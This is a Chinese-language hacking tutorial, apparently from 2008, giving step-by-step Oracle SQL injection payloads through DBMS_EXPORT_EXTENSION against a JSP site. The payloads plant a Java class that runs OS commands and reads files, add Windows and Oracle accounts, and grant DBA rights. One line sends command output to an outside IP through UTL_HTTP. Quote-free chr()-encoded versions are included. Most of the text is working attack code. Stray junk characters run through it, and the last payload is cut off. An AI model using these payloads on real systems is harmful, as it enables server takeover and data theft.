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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。' ?6 p8 }/ [1 h6 x0 |; X
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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的形式即可。(用" 'a'|| "是为了让语句返回true值)! B) Z- F4 F4 K+ [( ]
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语句有点长,可能要用post提交。
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以下是各个步骤:
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9 F1 p& b; I; s$ n! m9 m# p1.创建包. P) q. M( h3 W5 l l
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
% ?# a: X) k+ P4 B; Y5 [; y* m- `8 m: z; a
/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" v8 ^; F' s0 |& @1 Acreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(' g8 T ^. L/ ]5 {% R
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
8 F" M! N+ e) w/ i* j}'''';END;'';END;--','SYS',0,'1',0) from dual3 }4 g6 S' C z( c' ]8 O" j8 }
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2 f! M$ C3 ?3 Q- Y/ E------------------------7 X- |- k: f0 a9 i+ U& t; T- A
如果url有长度限制,可以把readFile()函数块去掉,即:$ L$ T0 ^* w0 j
/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; Y2 T7 Y; W1 i( J
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
1 F. |5 }1 X' h2 |new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}) V4 P8 B! K- c Q; K4 R& L
}'''';END;'';END;--','SYS',0,'1',0) from dual6 g/ Q* O4 o0 Y: A# L# q! U& P
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)
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! G8 A$ \/ d) }: S& l3 w& a同时把后面步骤 提到的 对readFile()的处理语句去掉。
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: l. [# L% A( y2 U4 ]4 p7 O2.赋Java权限
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4 Y2 d6 W% G5 S. {& Gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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8 g$ Z! d% B/ H: B" u. X' U3.创建函数
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& z: v5 s$ u# z8 d7 }/ f
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% m& m P, x$ Q% ^2 l9 O3 l9 U; s
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限* ?' @/ t4 ~- m" ^& d
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual9 g b: T! d7 i" E- A
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8 b: |' _7 E: |( F, I: N% ~5.测试上面的几步是否成功! {: a4 j+ o H
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and '1'<>'11'||(
7 c0 D7 P2 [, [2 c t4 Qselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD': {( |6 b9 E4 s' s( a& j1 _9 P
)& {) }2 D( D W: U1 x/ w9 E4 X
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and '1'<>(
5 m2 e A# Z- X& W3 Uselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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! O) u1 ]! k4 v0 F3 ?- A, S& @) U, u6.执行命令:" [! T# V, n( D# a
( I7 c9 p2 N9 R# s) U1 G- L/xxx.jsp?id=1 and '1'<>(5 i5 ~, c& b0 N# h# l: R1 p/ K
select sys.LinxRunCMD('cmd /c net user linx /add') from dual( R; D$ A9 J6 u) N+ R
)
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/xxx.jsp?id=1 and '1'<>(
. O. \! S9 K; H3 f0 _7 `1 p6 [% c) iselect sys.LinxReadFile('c:/boot.ini') from dual9 V; S" j* H' g9 q v9 J
)
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& Q6 W" x' m7 U注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。: Z* _ k* j6 v% l0 E2 b3 _5 k9 O3 N% v
如果要查看运行结果可以用 union :2 \# } z/ K3 q$ i" _& D6 S) C
( |0 a, I3 z4 w0 z1 i/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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或者UTL_HTTP.request(:
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' J B+ ], o% n0 I( w, ?3 i/xxx.jsp?id=1 and '1'<>(
) G( a3 f2 z, p( U7 [SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual9 b/ S: p# {& V1 Y1 }) G- I5 w% e
)
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/xxx.jsp?id=1 and '1'<>(9 s" t" G# o" k9 h% C2 f. r
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。4 a4 h3 V+ H# l; j$ M
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--------------------
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5 ?3 ~( K4 K, o4 L0 P6.内部变化
- k2 p6 y" }. O. H7 h, x通过以下命令可以查看all_objects表达改变:
3 b( Z( K [8 H Y4 l6 X6 D% jselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'$ V; ]8 n/ N8 N5 a8 S
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7.删除我们创建的函数
; p4 w" J' N" u0 R( Z3 n6 h. Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ k2 y, V5 h8 r( Q0 R# ^
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================
" }+ X4 }4 ~ Z+ k8 v( K全文结束。谨以此文赠与我的朋友。
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linx U7 W/ }8 H5 x- d
124829445
6 l7 T& l. }4 ?, U2 A2008.1.12
- N. C1 l# g6 O[email protected]% Z% u2 R/ S1 M/ C! C$ a. R
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& n. d# M4 F* F _) R' X6 O6 Y3 ~======================================================================" ?( T. U% `) i3 A5 S9 u0 I" f
6 _+ |% P* b3 l! p# q3 v测试漏洞的另一方法:5 ~. t+ O: \* e5 R4 F. ^5 i
! V5 b9 Z+ R. a( m u9 g4 ^( z, S创建oracle帐号:
4 z g/ ~. X/ E! X( z: Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* D9 F5 k& L6 E: ^CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual/ U' x9 f8 `. i
. g: I4 G2 B, T% p# Z1 U/ F即:
N, z V3 r, w c2 z3 k4 cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
* w4 F3 P5 f9 j# t. g4 X5 fchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual6 j+ C# ?0 D$ M8 s
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确定漏洞存在:' U) {+ r! Y9 v1 w" l
1<>(
& [ N/ m: S" X2 R6 Vselect user_id from all_users where username='LINXSQL'
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给linxsql连接权限:0 l0 \: a7 i, w! j: q" R
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 I. p) z S) Q# a7 d
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual# u3 m' I1 Y2 K F" L8 N
% q7 W- y7 c. n5 c7 R# R; s删除帐号:
+ @; d2 k7 V% ?# r0 X5 ^$ W$ ~4 Wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 B' {2 c1 ^2 V- h: }$ ]7 H
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual4 J9 Q& R" L7 v
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======================
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I+ p1 E" `& z1 ]' q$ m以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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% k! {) f- V- R0 |' d( D+ S2 ]1.jsp?id=1 and '1'<>(9 N* N% X* a: S5 b: P' u3 n
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; `$ b7 v0 I5 q; [$ w, t" N* ?create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
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* D" _! V( Y9 ?( V0 x! K# E1.jsp?id=1 and '1'<>(4 D0 d) \. r; f# f
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
% {( g5 P4 z; b& I/ F# j4 F6 K) and ...
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1.jsp?id=1 and '1'<>(9 ]% c$ U3 H0 f# V
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL% Z7 C5 A+ H5 r$ y8 F3 m/ }) W
) and ...0 L- Y% y- J: m& t, [& ?) r# `
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1.jsp?id=1 and '1'<>(* Z S. S ~7 u4 V; a' E
SELECT sys.Linx_Query('declare pragma
' A# R4 S! b! G1 u, S8 Z1 wautonomous_transaction; begin execute immediate ''1 r- L% X; z+ n5 c' E
select 1 from dual) {6 K, Z1 Q# t
''; commit; end;') from dual
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多语句:
3 C) H7 E; a$ K1 @ o1 XSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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创建用户(除非当前用户有system权限,否则无法成功):
4 p2 r" N; Z b4 k+ }# G# S& GSELECT sys.Linx_Query('declare pragma
# x( Y( o; t; b- X( Cautonomous_transaction; begin execute immediate ''# \9 L9 Q2 o" N7 }
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
% m, ]; L) i2 V! B4 o9 Q% L7 {''; commit; end;') from dual* }& U. t# z N* X
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# Q& h. ]; {6 K3 b4 l8 t2 B4 M================( p$ X7 C+ D4 A1 o" C3 l# l
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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( l! l" V; L( K; C: h1.创建函数
+ m/ F0 ~2 q9 P! q- b$ R; n$ l7 s4 qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ y8 a# t5 `( ]" }
create or replace function Linx_Query (p1 S" H2 M/ s8 O$ `7 l' R
varchar2) return number authid current_user is begin execute immediate
, P" ?8 f4 I6 f+ G' Q0 I+ a, u: wp; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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. x4 J8 H) O: z6 L9 B8 K如果有权限,以下语句应该允许正常
# K: W/ W5 q0 X" T# ~9 \: Aselect sys.linx_query('select 1 from dual') from dual;2 y2 @2 p. n# l/ A" G& P
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不然的话运行:
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% c& l% T5 Y, z2 [5 w3 `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- E. j% t% p% ?% B
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual3 \. a/ {. F9 \9 }8 n
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+ O$ g$ ^ k5 f4 _: G2.创建包
3 C" Y# |4 e( g h$ dSELECT sys.Linx_Query('declare pragma
& `* y+ S; {% F1 Sautonomous_transaction; begin execute immediate ''
: R6 ]. R ]4 {: y6 X. P Vcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
- k( A. l6 q2 o, g, h' d2 X' Snew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
7 j( L" @# I" @% b- d7 r3 ?
) [ \/ p$ O' U/ I' o+ e2 h5 Z+ V) f3.创建函数
1 m% X' J: J4 t* VSELECT sys.Linx_Query('declare pragma* b0 Y* k7 Q* `1 n) W
autonomous_transaction; begin execute immediate '': o) l2 E( ^/ O) C* R! a
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
% }) n! z! d# y- g+ }6 d+ s
: ^. }* h, i- D3 L- D+ W7 \4.给权限
: P# O/ {+ ^3 F+ ]' v( m给用户SYSTEM执行权限:
% Y( m3 V0 X! d" [% ]: O& J
% K! ]' t, s3 ^* i: l2 KSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
3 c0 L. B/ X5 f5 r; Y: ?
3 r" g" s. |' X% g2 d! J9 } I- ~ V* }) c" D
. o: R0 y# H0 l# \
5.执行函数" ?/ ]: Q1 A) L* K& X) @1 J* f* H) \
select RunCMD2('cmd /c dir') from dual
# Z, z. A4 [2 o- T) q( z: U U+ t8 x, t _6 W+ h
" C; X/ p; g3 x) L% h9 O
7 ^+ G0 A2 s U5 ^% `
6 h7 E: H2 W- ^4 G/ p- |, [" Y# N
/ X" A# K: l* i+ p) m==================$ ^+ j. X- R3 v
================================) g7 j! w" K5 i, M$ E$ f# O% d7 Z
3 P( y5 v( l0 w: T+ `" ~以下是无 " ' " 版:) J+ E9 k8 l* _$ y. }4 z, g
4 K. f, W8 V1 M/ C- S) o$ ~& D以下是各个步骤:3 ^7 n4 j% C Y& n7 S
1 p/ d# y3 S) u. P1.创建包
0 g: I8 W3 p$ n$ j通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
! Y, v3 i( z1 ^: C2 C因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
& Y- [( }7 z6 B7 _( k5 X$ A+ i+ U! u1 h: X$ f9 U
/xxx.jsp?id=1 and chr(49)<>chr(50)||(- G" `9 a8 { W2 E% w5 H. k6 W
& O& C7 m" O: i' D+ z4 Rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),( a' D0 F1 F! y' M. b9 x' I* x4 s- M
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
! o( f/ C* k' K) W! n( R( g5 Gchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||0 a; Y" o) e1 I0 Y
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
- A3 k, d4 O7 V2 k% ^- zchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
7 j7 G, j; a* S$ l& |chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||0 U; w# o' O5 L& a) Q7 n) C7 j
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
7 w: g! d7 `: J! t, a( y( Ychr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
/ {6 e) s5 K# {; P& A/ M# Nchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
4 X# ^* v; E8 D* [" P3 Wchr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
" D6 H$ G# p/ h8 _0 Uchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
1 [) c$ g9 E+ X# N7 r3 ~chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||2 b- @& p- ^: f- N
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
- ]1 F5 j+ H: @chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||$ M& K% u- z! w4 }- y* [2 B3 g' f
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||$ L* x+ ?+ `; J* z8 V& O9 Q! \
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
0 s5 i6 A# |) r. M/ s! ~$ jchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||7 N+ A% M6 }* \
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
: O1 g" w/ I+ m7 achr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)|| A3 z. B# `5 z" R
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
, A/ O. K# l- j" j, W" _chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
V) L) `- |8 D) n' j7 cchr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||9 F, y9 h% p& N9 i
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||& i% I- t9 u7 y: H
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||* r0 B3 V. _2 v' `$ G& b, |
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||- {, i4 B- Y# v R
